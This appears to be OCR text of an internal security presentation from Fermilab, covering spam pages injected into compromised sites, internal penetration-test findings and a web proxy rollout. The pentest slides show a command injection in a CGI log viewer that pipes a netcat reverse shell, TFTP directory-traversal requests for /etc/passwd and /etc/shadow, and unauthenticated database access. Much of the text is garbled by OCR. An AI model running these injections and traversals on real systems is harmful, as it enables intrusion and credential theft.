gwk@633#kh1 jkwd; 3#fodvvid_%grpdlg_%#doljg@ohiwARgolgh#Skdupdf| ¥2wgA_u_g_w?wg#zlgwk@543A7 1gsxw#fodvvi@vhdu fk#w| sh@_%wh{w_%#gdph@_%t_%#vdoxh@_%2:
31464145<166_%##2A7 2wghA_u_qg_wrwg#zlgwk@<3A? 1gsxw# fodvvl@exwwrg#qdph@_%1pdjh_%##ydoxh@_%Vhdufk %#w|sh@ _S%vxeplw_%2A72wgA_u_qg w?wg#zlgwk@_%533_%#
khljkw@_%;3_%#edfnjurxggl@_%kwws=22wrrrrrlel}2rgolghio2vwxii2wrslmsj_%A?2wghA_u_g###72wuld_u_g###?wuld?wg#frovsdg@ %7 _%#kh1jkwd_%6_%#ejfrorud@ %&0
G;<BE_HA?2wgA?2wud_u_qg###7? 2wdechA_u_g##72irupA_u_g##72wghA_u_g#?2wuld_u_g#?wul_u_g##75000hiw00A_u_g##Ywg#zlgwk@533#ydol jgiwrsA_u_g###Ywdeoh#eru
chu@3#fhoovsdflai@d#fhoosdeelai@d#fodvviohiwd u of## wriwuA?wkASrsxodu#sloov?2wkA?2wud u o w?wuld?weA?d#kuhi@ %kwws=22wrrrrrlellZraclohioZvldiu

I»]




Decompiling that, gives you a website



b DOM Source of Selection - Mozilla Firefox

File Edit WView Help

</script><link href="%5C%2Zhttp://tocooo.bizfonlinefl/ stuff/atyle.cas%sC%22" rel=""&quoct ;atyleshest’ &quot ;"
type=""&quot ;text /ces’ fguot ; "=<atyle type="'&guoct;text/cas)fguot;"=\n\rnbcdy [(margin: Opx; font-family: Verdana,
Arial, Helwvetica, sans-serif; font-size: llpx; font-weight: normal; color: #455446W\r\ntable (font-family: Verdana.
Arial, Helvetica, sane-serif; font-size: llpx; font-weight: normal;Wi\r\ntd { text-align: left; Bh\r\n.left
[margin-top:10px; margin-bottom:10px; margin-left:5px: border: lpx solid #64893b:;W'\r'n.left th (width: 1%96px;
height: Z2px; background: url (http://tocooco.biz/onlinefl/stuff/bg_leftth.ipg): font-family: Verdana, Arial,
Helvetica, sans-serif; font-size: 13px; color: #fEffff; text-align: left; padding-left: 15pxBrin.left td {width:
205px; height: 25px; padding-left: 25px; padding-top: 2px; background:

url (http://tocooo.biz/onlinefl fatuff/bg_navtd.gif )W\ r\n.1left a:link [(font-family: Verdana; color: #555555;
font-weight: bold: font-size: 1l3px; text-decoraticn: nongdh\rin.left a:visited [(font-family: Verdana: color: #555555;:
font-weight: bold; font-size: 13px; text-decoration: none;¥\r\n.left a:active [(font-family: Verdana; color: #555555
font-weight: bold; font-size: 13px; text-decoration: none:;Wi.rn.left a:hover {color: red; text-decoration:
underlins®¥ rinh rininput .search (font-size: l3px; background-color: #FFFFFF: border: lpx soclid #6489%3b; width: Z00px:
color: #SESESEW r\ninput.button (width:75px; font-size: 13px:¥\r\nform (padding:Opximargin:0p:fhri\n\r\na:link {
color: #215396; font-weight: normal; TEXT-DECORATICHN: none; Wi\rina:visited (color: #215396; font-weight: normal;
TEXT-DECORATION: none; Wirna:active {(color: #215396; font-weight: normal; TEXT-DECORATION: none; BWh\rna:hover
[color: #DE0000: text-decoration:underling®rin'\rnli (margin-top:l0px: margin-right:20px: padding:Spex:
text-align:justifyi¥yrinol (Wirina.title:link (font-gize: 17px; color: #31C06C45; font-weight: normal:
TEXT-DECORATION: none; Wirna.title:visited (font-size: 17px: color: #31C06C45; font-weight: normal: TEXT-DECORATION:
none; BWirina.title:active (font-size: 17px: color: #306C45; font-weight: normal; TEXT-DECORATICON: none:

Wy rina.title:hover {color: #0DE0000; text-decoraticn:underline®\ r\nh\r'n.domain [(font-family: Arial, Helvetica,
gane-gerif; font-size: 2E8px: font-weight: bold; padding-left: Z0px; color:#648%3pMh\r'\n.style (font-family: Arial,
Helvetica, sans-serif; font-size: llpx: font-weight: bold; color:#f£££££f: padding-right :S0px:Ehrin.stylel
[font-family: Arial, Helvetica, sans-serif; font-size: llpx; font-weight: bold; color:#Z05DAS;

padding-right :50px ;¥\ r\n</style>=</head><body>document .cpen () ; document .writeln("\rni\rin\nnirin <!--op--=\rn Yrin
“wrhn o hZrho Zrhn =f--Jefi--=hvrn A\rhn <l --op--=\ryn AZrn A\rhn <!--bottom--=\rn \rn A\ri\n ‘\ryn<table style=""

HbObSET;="" border-right:="" lpx="" =zclid="" #bObLSLT;%="" align="center" border="0" cellpadding="0" cellspacing="0"
height="100%" width="800"><tbhody><tr><td colspan="2" height="20" width="800">\r'n <form metheod=""&quot jget’ kguot ;"
action=""%&Jquoct ;http://tocooo . bizfonlinefl /aearch.php) &quot ; "=\ ri\n W rivn o Srhnhthehnhth ot rhn rin

align="1le=ft"

hrho <table border="0" cellpadding="0" cellspacing="0"=<tbeody><tr><td class=""&guct;domain’ &guot ;"
height="20" width="200">Cnline Pharmacy</td>=td width="Z10"><input class="gearch" name=""&guct ;g" &guot ;"
value=""&guct; /70.121.12% .32 squot ;" type=""%guot ;text’ &gquot ;"=></td><td width="%0"><input class="button"
name="" &quot ; image’ &guot ;" value="%&Juct ; Search’ &quot ;" type=""&guct ; submit’ S&gquot ; /" =</ td>=><td

background="" &quot ;http://tocooo . bizfonlinefl fotuf £/ top . dpal bgquot ;" height="80" width="200"></td></tr><tr><td
colepan="4" bgcolor="#0045b0" height="2"></td></tr></thody></table>r'n </form=‘rn </td></tr><tr><td walign="top"
width="200">=rn wrhn Sthcwnhthehn hZro A\rhn A\ rhn hZrno \rhn A\rin A\r'n \rhn A\rin A\r'n Z\rin A\rn A\ri\n \rn \rin

“wrn o hZrhn \rn \r'no “\r\n \r\n <table class="left" border="0" cellpadding="1" cellepacing="1"><tbody><tr=<th=Popular

pilla</th>=/tr><tr><td><a href="%5C%ZZhttp://toccooc.biz/onlinefl /viagra/%5C%22" > Viagra</a>=font coleor="#00£000"
gize="1"> $1.56 per pill</font=</td=</tr><tr><td><a href="%5C%ZzZhttp://toccoco.biz/onlinefl /levitra/RE5C%22" =,
Levitra</a=<font coleor="#00f000" gizme="1"> $2.78 per pill</font=</td=</tr>=<tr>=<td>=<a
href="%5C%2Zhttp://toococoo . biz/fonlinefl foialia MAS5C%22">e Cialis</a><font color="#00£000" mize="1"> $2.11 per
pill</font=</td></tr=<tr><td><a href="%5C%2Zhttp://toccoo . biz/onlinefl /propecia/%50%22" =5
Propecia</a=</td></trr<tr><td><a href="%5C%22http://toccoo.biz/onlinefl /chentermine/%5C%22" =
Phentermine</a=</td=</tr><tr><tdr<a href="%5C%22http://tooccoco . bizfonlinefl fadipex /AE5C%22" >,
Adipex</ar=/td></tr><tr><td><a href="%5C%ZZhttp://tococoo. biz/onlinefl /meridia/a5C%H22 " >
Meridia</a=</td></tr=<tr><td><a href="%5C%2Zhttp://toccoo.biz/onlinefl/tenuate/%5C%22" =,
Tenuate</a=</td></tr=<tr><td><a href="%5C%2Zhttp://toccoo.biz/onlinefl/xenical /RE5C%22" >,
Xenical</ar</td=</tr=<tr=<td><a href="%5C%ZzZhttp://tocococo . biz/onlinefl/soma/%5C%22">s Soma</a=</td></trr<tr=<td><a
href="%5C%22Zhttp:/ tococoo . bizfonlinefl famoxicillin/%5C%22" ">y Amoxicillin</a=</td></tr>=<tr><td><a

i
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That, after a little massaging of code, looks like this



Pharmacy Online :: - Mozilla Firefox

File Edit Wiew History Bookmarks Tools Help
@I ﬁ I | http:/ftooooo.biz/onlinefl/ I" |galler1,r2 ‘?R
Script kiddies have a... % | © Tims Blog > Dashboar... * 0 WordPress > Download * - Gallery 2.3 (Skidoo) R... % Pharmacy Online :: =
- -‘-t
Online Pharmacy | | _secn | TN aag—
® 1. Find the Best Deals
» Viagra $1.56 perpil Compare Prices on and More, Get the Best Deal at BottomDoliar!
. . wiww . Bottom Dollar.com
w Levitra $2.78 perpil =
w Cialis $2.11 perpill . .
e 2 Blinkx Video Search
» Propecia World's largest video search engine. Gver 26 milion hours of video, Watch it all
» Phentermine httpe/fwesn. blinkec.com
» Adipex . .
Meridi ® 3 Blinkx Video Search
s e World's largest video search engine. Cver 28 million hours of video.
» Tenuate wanw. blinkze.com
» Xenical
» Soma e 4 Blinkx Video Search
World's largest video search engine. Cver 26 milion hours of video.
» Amoxicillin . blinkee.com
» Ambien
» Ativan e 5 Blinkx Video Search
Fioricet World's largest video search engine. COver 25 million hours of video. Watch it all
»rloriee hitpe/fwnaner blink com
» Hydrocodone
» Prozac ® 5. Movie Reviews Done Right
» Tramadal If it's crap, we'l tell you. Spil.com movie reviews and community .ll
- 5L




There were many other obfuscated javascript
files that | pulled down from the spam pages
but my guess is that they are all going to be similar

in nature



Pentesting



Overall, it wasn't terrible.

You know you had a problem if you received a Tissue

notice that was “out of the ordinary”



FTP server running on off port allowing anon read/write to system

elogs
DNS running on several systems

3ware RAID card unrestricted web access

PhpMyAdmin open to the world

Unauthenticated postgres and firebird

Tftp servers with unrestricted GETs

NaviSphere directory traversal bugs

Default apps and examples still installed on numerous systems, allowing XSS

and...



System compromise of 4 nodes | think?



% tarupp@catbot:~ - Shell - Konsole

=8 X

% tarupp@catbot:~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

Session Edit View Bookmarks Settings Help

[tarupp@catbot ~]1% nc -1 -p 10000

1s

0

= || =X Shell

E

b4

[*|[]|ouhep .details.html
private
public_html
refix-router.details.html
remote-production-router.details.html
runl90000,1ist
sam.crontab.file.050909
sam_batch_submit_info.sam_20071102090054. txt
sam_cp_config_jmr
sam_gsi_config
samgfarm.details.html
samgrid-osg-test.details.html
scratch
screen_shot.txt
sglnet.log

—|||srm-osg-ouhep.details.html
tapeless-datapath.details.html
tata-dO-mcfarm.details.html
tecplisten.py
tcpsend.py
tmp
westgrid-ube.details.html
wuppertal.details.html

[

= |} - | ouShel | = ShelNo.2 |

o

File Edit View History Bookmarks Tools

Help wt
-0 - @ @9 (3 | weogdir=/home/sam@loglimit=. "lechol/tmp/nc%20131.225.82.112%2010000}/bin/sh|/tmp/nc %20131.225.82.112%2010001 | = | > | [G]-] <
[“)data comm | Jexploits | Jest | Jlocalhost | Jtools | ) programming | security | personal | ifnal [ )apps
@ Disable~ £ Cookies~ [ 1CSS~ Forms~ & Images ~ @ Information - ‘ffi] Miscellaneous = - Qutline - E zResize' L.}E’Toqls - Q\J‘iew Source = ' Options ~ X @

¢t Bwm W TERES ey | e | e

[ httpr....txt M Base64 ... %' MIME:... e




File Edit View History Bookmarks Tools Help
= < i - cgi/logViewer.py?logdir=/home/sam&loglimit=." | |G-
Jdata comm | Jexploits [ Jcst | Jlocalhost [ Jtools | ] programming (! security " Jpersonal [ Jfnal " apps
& Disable~ £ Cookies~ - 1CSS~ JForms~ “Images ~ (@ Information ~ Miscellaneous * . Qutline~ . wResize~ .~ Tools~ 1x|View Source~ Options ~ A
- Selector... % | Will Te... (@) Getting ... &8 site:fnal.... | — e — — — — G P——" [
L3 L3
Log File Viewer for ..
Files Date/Time Filename Size
In reverse chronological order, with the newest files at the top. ERROR:
To search particular files, select them here. T 1 1683 mov 3 11:55 .Xauthority
“TW-ITW-F-- al 8142 oct 29 11:24 .bash history
. STW-TW-T- - il 40 oct 21 14:58 .sawves-9838-0 il .fnal .gowv
To display all or part of a log file, select one and only one file. SRS i 3723 oet 20 11:07 .kSlogin
STW-TW-T- - al 108 dqul 2% 13:15 .saves-27760- . frnal .gow
STW-TW-T- - Al 113 Mmay & 2008 .saves-28167- = . fnal.gow
Eoh iy e il Al 277 Feb 13 2008 .emaca
“TW-TW-T- - als 114 Feb 7 2008 .sawves-3634- . .fnal.gov
Shep o al 9115 pDec 21 2007 .viminfo
“TW-TW-T- - 1 113 pec 10 2007 .saves-24554-0 . fnal .gow
STW-TW-T- - il 91 pec 3 2007 .sawves-12376-00 0 fnal.gow
TEW:EW-E= = al 91 pec 3 2007 .save=-379%6 o fnal.gov
STW-TW-T- - ak 2058 Wov 2 2007 .neditdb
STW-TW-T- - al; 113 oct 25 2007 .sawves-6418-... . fnal.gow
STW-TW-T- - al 42 sep 23 2007 .saves-544-,,0 .fnal .gov
STW-TW-T- - al: 32 Jun 14 2007 .sawves-10023- o .fnal.gow
STW-TW-T- - 1 90 Jqun 12 2007 .saves-3834- o fnal.gowv
“TW-ITW-F-- al 138 qun 12 2007 .saves-3416- o .fnal.gowv
“TW-TW-T- - 1 114 may 17 2007 .saves-45%- o fnal.gov
-TW-TW-T- - 1 136 apr 25 2007 .sawves-23189%-. fnal.gow
552 e st otk al 3488 Feb 26 2007 .kSlogin=~
STW-TW-T- - Al 162 Feb 20 2007 .saves-21264-+"  .fnal.gov
“TW-TW-T- - 1 90 Jan 11 2007 .saves-1T7144- o Lfnal .gow
STW-TW-T- - 1k 74 Dec 2B 2006 .saves-2649%96-...  fnal.gow
SIW-TW-I- - als 138 Nov 21 20068 .saves-T464. i fnal .gov
SIW-IrwW-I- - al, 90 Nov 20 2006 .=zaves-4526- . fnal.gov
SIW-ITW-I- - al, 110 Nov 1 2006 .saves-3B36-4..  !.fnal.gov
SIW-IrW-I- - al 162 oct 25 2006 .save=s-13103-4y,. .fnal.gov
SIW-ITW-I- - al; 90 Z2ep 22 2006 .zawes-3321-" . . fnal.gov
SIW-IW-I- - al, 110 rug 18 200& .saves-22292- 0 .fnal.gowv
SIW-IW-I- - al; 110 rug 15 200& .saves-&08%-  fnal.gov
SIW-TW-I- - al; 90 Jun 26 2006 .smave=-9065-  fnal.gov
S EW G i T 1 145651 Jun 20 2006 .lsof .
“IW-IW-T- - 1 146 Jun 14 200& .sZaves-249%8-0 . fnal.gowv
“IW-ITW-T- - 1 90 Jun & 2006 .sZaves-6355-2.  .fnal.gov
“IW-ITW-T- - 1 110 Jun & 200& .szaves-&46- . .fnal.gov
“IW-IW-T- - 1 90 May 22 2006 .saves-5430 o .fnal.gow
SIW-IW-I- - al, 136 May 20 2008 .Zaves-T7007 o fnal.gov
CIW-ITW-I- - ak; 110 May 20 200& .sawves-19%528-..  .fnal.gow
3 Find: & Next i Previous [ Highlight all [] Match case
Done S (] Adblock

[+1

-
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~ v ¢ ) [|http:ﬁ' fnal.gov/ | "l ["|gnome ubuntu screenshot ‘Q{l

@ Disable~ [ Cookies~ [ JCS5~ [JForms~ [HImages~ @ Information~ (“iMiscellaneous~ _/Outlne~ [ JResize~ “Tools~ {|View Source~ . >Options~ X @ @

[ & Subnet M. [ http:....%SC[ System R... I@Apache T... I. Index of;ft...[ carbonfn... | & snap appl... [ Loagin [ Harvard CI @ Howto Ta... I Apache 5. | htt...owf & |;

It works!

Done



L

raruppiatonelicor =

File Edit Wiew Terminal Tabs Help

18792 | 985036204 | 4206261679 | 1663 | |
templatel | 18 | 6B | t | t | -1 |
18792 | 705480347 | 3926785820 | 1663 | | {postgr
es=CT/postgres}
templated | 18 | 6B | t | f | -1 |
18792 | 499 | 499 | 1663 | | {postgr
es=CT/postgres}
(4 rows)

postgres=# \q
tarupp@tonelico:~% psql -U postgres -h e . fnal.gov e
Welcome to psql 8.3.3 (server 8.1.3), the PostgreSQL interactive terminal.

Type: \copyright for distribution terms
“h for help with SOL commands
“? for help with psql commands
‘g or terminate with semicolon to execute query
\Q to quit

WARNING: You are connected to a server with major version 8.1,
but your psql client is major version 8.3. Some backslash commands,
such as \d, might not work properly.

——f




raruppiatonelicor =

postgres=# \d

es=CT/postgres}
(4 rows)

postgres=#

File Edit Wiew Terminal Tabs Help
such as \d, might not work properly.

No relations found.
postgres=# select * from pg database;

datname | datdba | encoding | datistemplate | datallowconn | datconnlimit | d
atlastsysold | datvacuumxid | datfrozenxid | dattablespace | datconfig |

datacl

EEEE LT Y s SEEEE Y LR EEEE TR e LR EEEEEEEE R LR EEEEEEEE R +==

————————————— el S R L R R TR R

postgres | 18 | 6 | T | t -1 |
18792 | 561714653 | 3782940128 | 1663 | |

| 18 | 6B | T | t -1 |

18792 | 985036204 | 4206261679 | 1663 | |

templatel | 18 | 6B | t | t -1 |
18792 | 705480347 | 3926705820 | 1663 | | {postar

es=CT/postgres}

templated | 18 | 6B | t | f -1 |
18792 | 499 | 499 | 1663 | | {postgr




File Edit wview Terminal Tabs Help
List of roles [«]
Role name | Superuser | Create role | Create DB | Connections | Member of

---------------- e e e I e e e
admin | no | no | no | no limit |

i | no | no | no | no limit | { S

manager | no | no | no | no limit |

——— | no | no | no | no limit |

dbox | no | no | no | no limit |

dbutil | no | no | no | no limit |

S | no | no | no | no limit |
| — | no | no | no | no limit | e %
o | no | no | no | no limit | {read write}

e | yes | no | yes | no limit | {admin, read only}

Il ro | no | no | no | no limit |

s W | no | no | no | no limit |

- | no | no | no | no limit | {admin}

- | no | no | no | no limit | { =}

- | no | no | no | no limit |

e | no | no | no | no limit |

& = ‘ollector | no | no | no | no limit |

- | no | no | no | no limit | T omaroup, read only}
e group | no | no | no | no limit |

- | no | no | no | no limit | {read write, = = group}

“e group | no | no | no | no limit |




raruppiatonelicor =

File Edit Wiew Terminal Tabs Help

tarupp@tonelico:~% klist 2]
klist: No credentials cache found (ticket cache FILE:/tmp/krb5cc 1600)

Kerberos 4 ticket cache: /tmp/tktlees

klist: You have no tickets cached

tarupp@tonelico:~% psql -U postgres -h o fnal.gov

Welcome to psql 8.3.3 (server 8.1.3), the PostgreSQL interactive terminal.

Type: “copyright for distribution terms
“h for help with SQL commands
“? for help with psql commands
‘g or terminate with semicolon to execute query
“q to quit

WARNING: You are connected to a server with major version 8.1,
but your psql client is major version 8.3. Some backslash commands,
such as \d, might not work properly.

postgres=# \d H
Mo relations found.
postgres=#
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| - 6 = [@l http:/, "nal.goviB500/logs/raw/ | "l [" mediawiki exploit 'ZQ"{J

@ Disable~ [ Cookies~ [ JCS5~ [JForms~ [HImages~ @ Information~ (“iMiscellaneous~ _/Outlne~ [ JResize~ “Tools~ {|View Source~ . >Options~ b4

4re.. [. milworm I [@] Re: Mull ... [Hﬂ CIRT @ C... [ @] (Untitled) I@ http:...gow[ [@] Ascii Tab... | £ Loading... Iﬁ Main Pag...[[i-l'] Recent c... I D@ Onlin...‘ [@] Index... & ‘@ (Untitled) l ~

Index of /logs/raw

Name Last modified Size Description
Parent Directory 21-Aug-20032 10:598 -
access. log 03-Nov-2008 11:34  2.8M

access. log.2008-03-3, .= 31-Mar-2008 00:02 280k

access.log.2008-04-0. .= O7-Apr-2008 00:02 268k

access.log.2008-04-1..> 14-Apr-2008 00:03 401k

access.log.2008-04-2. .= 21-Apr-2008 00:02 411k
access.log.2008-04-2, .= 28-Apr-2008 00:02 4886k
access.log. 2008-05-0. .= 05-May-2008 00:02 92k

access.log.2008-05-1. . > 12-May-2008 00:01 96k
access,log,2008-05-1, > 18-May-2008 23:56 105k
access.log.2008-05-2. . > 26-May-2008 00:01 94k

access. log.2008-06-0. .= 02-Jun-2008 00:02 75k

access. log.2008-06-0. .= 09-Jun-2008 0003 67k

access, log.2008-06-1. .= 16-Jun-2008 00:01 76k

access. log.2008-06-2, .= 23-Jun-2008 00:00 129

access, log. 20028-06-3, .= 30-Jun-2008 00:02 75k

(4]

access, log, 2008-07-0, .= 07-Jul-2008 0001 75k
Find: l SMVS 43 Previous =k Next Highlight all [ Match case [[¥# Reached end of page, continued from top

B o o o o (2 o (o o o o o Cop o o [ Ry

Done
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6 '@' [|§| http fnal.govfserver-status

| i l ["’ gnome ubuntu screenshot

(@ Disable~ £ Cookies= [ JC55~ [JForms~ [H|Images~ @ Information~ Miscellaneous~ _/Outline~ [ JResize~ “Tools~ {:|View Source~ . >Options~ X ©® @

et ... [@ http...%ECl@ System ... [@Apache [.Index of f...l@ carbon.f... [ & snap ap... I@ Login
Apache Server Status for @ .fnal.gov

Server Version: Apache/1.3.28 (Unix)
Server Built: Aug 4 2003 14:43:56

[@ Harvard ... [Q Howto T... I [@] Apache ... [@ http:...gow| [@] Apac... @

Current Time: Friday, 31-Oct-2008 14:02:33 CDT
Restart Time: Thursday, 16-Cct-2008 16:01:23 CDT
Parent Server Generation: 0

Server uptime: 14 days 22 hours 1 minute 10 seconds
Total accesses: 68251 - Total Traffic: 8.3 GB

CFPU Usage: ug.068 s12.87 cul cs0 -.00147% CPU load
.053 requests/sec - 7.5 kB/second - 142.4 kBfrequest
1 requests currently being processed, 6 idle servers

Scoreboard Key:

" "Waiting for Connection, "s" Starting up, "r" Reading Request,

"w' Sending Reply, "k" Keepalive (read), "p" DNS Lookup,

"L" Logging, "¢" Gracefully finishing, "." Open slot with no current process

Srv PID Acc MCPU SS ReqConn Child Slot Client

0-0 127920/79/5136 _ 0.45 271 13 0.0 4.31 801.21 72.30.87.121
1-0 13528 0/15/5251 _ 0.09 115 32 0.0 0.07 597.19 66.249.72.233
2-0 - 0/0/5080 . 0571404 20 0.0 0.00 DbZ3.56 67.195.37.98

VHost
frnal.gov GET [~
frnal.gov GET /-
_..fnal.gov GET /-

Request

Lsamples/mc/bsdspil 002/bsdspil002_har
JAnalysis/tex/02.05.06/03.11.06/mwww/02.2(

/cdfevb2/ HTTF/1.0

I8 = drrma s IOV IR MR TH Fravrarrac il v A CuE T

-

'|'J i 121 vl TIEDD i N = I (=W [ i N = AAds O7F S5 TAG T T it Pl e T T

i1
4

Done



total @

tarupp@tonelico:~/Documents/pentest," .fnal.govs tftp

tftp> get ../../../../../../etc/passwd
Received 338 bytes in 8.8 seconds

tftp= get ../../../../.. /.. Jetc/krb5. keytab
Error code 1: File not found

tftp= get ../../../../.. /.. /etc/shadow
Error code 1: File not found

tftp> quit
tarupp@tonelico:~/Documents/pentest/ wovo. . nal.govs$ less passwd
tarupp@tonelico:~/Documents/pentest/w .fnal.govs tftp s

tftp= get ../../../../../../var/ww/cgli-bin/login mainF.cgl
Error code 1: File not found

tftp= get ../../../../../../var/log/messages

Received 1578080 bytes in 2.8 seconds

tftp> quti

?Invalid command

tftp> quit

tarupp@tonelico:~/Documents/pentest . “.fnal.govs 11

total 1536

-rw-r--r-- 1 tarupp tarupp 0 2008-10-31 12:54 krb5.keytab
-rw-r--r-- 1 tarupp tarupp 0 2008-10-31 12:55 login mainF.cgl
-MW-r--r-- 1 tarupp tarupp 1562451 2008-10-31 13:00 messages
-rw-r--r-- 1 tarupp tarupp 333 2008-10-31 12:54 passwd

-rw-r--r-- 1 tarupp tarupp 0 2008-10-31 12:54 shadow

.fnal.gov

.fnal.gov



thplicatinns Places System i@ E
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= - G mRICIES fnal.govi. A\ . A

@ Disable= £ Cookies= | |CSS~ [ JForms= [d|Images~ @Ir

| @ Subnet M., | (@ htt...5C @ | System R... |@Apache T... |. Inde

This XML file does not appear to have any style inform

—<NaviFileListing Name="/..\..\..\....... L\
<NaviFile Name="BOOT.INI" isDir="false"/>
<NaviFile Name="dumps" isDir="true"/>
<NaviFile Name="EMC" isDir="true"/>
<NaviFile Name="ntdetect.com" isDir="false"/>
<NaviFile Name="ntldr" isDir="false"/>
<NaviFile Name="pagefile.sys" isDir="false"/=
<NaviFile Name="Ferl" isDir="true"/>
=NaviFile Name="program flles" isDir="true"f/=
<NaviFile Name="RECYCLER" isDir="true"/>
<NaviFile Name="TEMP" isDir="true"/>
<NaviFile Name="Util" isDir="true"/>
<MNaviFile Name="winnt" isDir="true"f>

</NaviFileListing>
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WHY?

- Technical enforcement of existing policies (Directors policy, HR

policies, Policy on Computing, etc)
- Protection from malicious web content

- Protection from '0-day' type web content

- Whitelist/blacklist
- DOE/Audit line item

Computing Division

gal | Fermilab Policy on Computing | Fermilab at Werk

PROCEED WITH CAUTION

You are attemnpting to visit a8 web site that has been detected as possibly
delivering or supporting:

® Address spoofing or traffic obsfucation

® Phishing and scams

® Spyware, Malware or other potentially malicious software
If vou believe you are receiving this notice in error, please open a
Helpdesk ticket assigned to Computer Security, with the following
information:

® Your contact information

® Date and time when you received this error

® Your machine name and IP address

® The web site you were attemnpting to contact

If vou wish to continue to the intended website, please acknowledge this
warning by clicking Accept.

4= Fermilab




How

FNAL Web Proxy/Filter Connectivity Diagram
Back feed through edge routers

Interrat
Obiligatory Connection
Internet Cloud

LANNWAN border
—_—————- connectivity cloud

Prowy-to-WWan
connection

Prosoy-to-LAMN
connection

=> WCCF Tunnel

|
WAN Border Router2 WAN Border Router1 :
|
|
Intarnet VLAN + HSRP |
|
|
WCCP
WGP |
WCCP d
- = WCCP wece
-s-edge-2 Proxy?2 Proxy1 r-s-edge-1

FNAL WVLAN + HSRP
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Metrics

Blueacoatw Reporter Role:admin Data Profile: TSA2

MAIN Data Profile Dashboard --Choose a MAIN report-- | %

E™ stream Reader Activity Top Client IP by Requests ta Top Categories by Page Views
Streaming Sessions 1 All Dates All Dates

Log Lines 1,441,883 131225526 570,511

B Computers/inter...

Bytes 208.7MB| | [131.22582.112 254,397 B shopping
Average Performance 3,675 lines/sec 131.225.92.116 225,329 — GovernmentLega...
- Search Engines/...
History 131225811 119,308 M chatinstant Me...
O o o) L 0 131,225 92 68 78,098 [ ] Fi|1§|1cia| Servi...
131,295 92,100 40 B58 Ml Business/Econom...
Stream IF Fort 9998 : B social Networki...
Status topped 131.225.92.147 23941 M Streaming Media...
131.225.82.19 23,207 W Web Advertiseme...
Cth
BCR Stream Reader 1 131.225.224.105 14,507 M Other
1 131.225.82.14 10,352 . . "
m IF Port 9999 (Hover ona data item to see its display.)
Status Started Full Report Full Report
g Yy Heq Top Users by Page Views Edit | Top Domains by Requests
All Dates
All Dates All Dates
M Mozilla/5.0 (Wi... - 271,400 www.borders.com 240,505
i I
u ozt E:c: Full Report www facebookcom 54,436
M Mozilla/4.0 (co... sports.yahoo.com 49 536
B Mozilla/s.0 (X1... i Top File Extensions by Requests { E—— 21,032
[ Mozilla/5.0 (Wi... All Dates
B Vozilla/5.0 (Wi... www.apple com 35,294
W Vozilla/s.0 (Ma... - 724121 www.versiontracker.com 34,292
| Moz!lla.:-4.0 (co... irg 123.885| | |www-esh fnalgov 33425
= Mozilla/5.0 (X1... i 113,353 www. fnal.gov 32,528
Other Analg :
html 94.988| | |www.amazmn.com 32124
(Hover on a data item to see iits display.) php 79,243 www flamentgroup.com 31954
Full Report Pg £1.095 Full Report
css 48,596
op Actions by Volume . htm ILALEMNE Top Content-Type by Requests
All Dates exe 14,451 All Dates
i 13,224 ;
B TCP_HIT text hitml 890,077
W TCP_MISS Full Report image/gif 123,885
TCP_MC_MISS - -
- = image/ 115873
I TCP_PARTIAL_MIS... . a9 ijeg
[ TCP_REFRESH_MIS... image/png 62,459
W TCP_TUNMELED text'css 54 669
M TCP_CLIENT_REFR...
- = - 33.749| |+
Bl TCF_DEMIED
W TCP_MISS_RST application/x-javascript 27,800
W TCF_ERR_MISS text'plain 18,065
W Cther application/octet-stream 15,356 |
-




RolbutSchedulk & Comm unxation

Through end 0£2008:

‘Em ailcenter

01& 02 2009:

‘CD W xrekess

‘Village ‘WHW ireless
‘Library ‘Site W reless
‘'Users Center ‘DO
‘Helpdesk ‘CDF
‘0 therpublic bcations Aem inals ‘TD
‘Explicitand W CCP proxy settings ‘AD
'‘BSSMBS
'O thers
Communication:
‘GCSC Meeting PC-Manager
-Sysadmin Meeting ‘Scheduling M eeting
‘Fermi Today ‘Brown Bag Sem mnar

‘CD Tracks



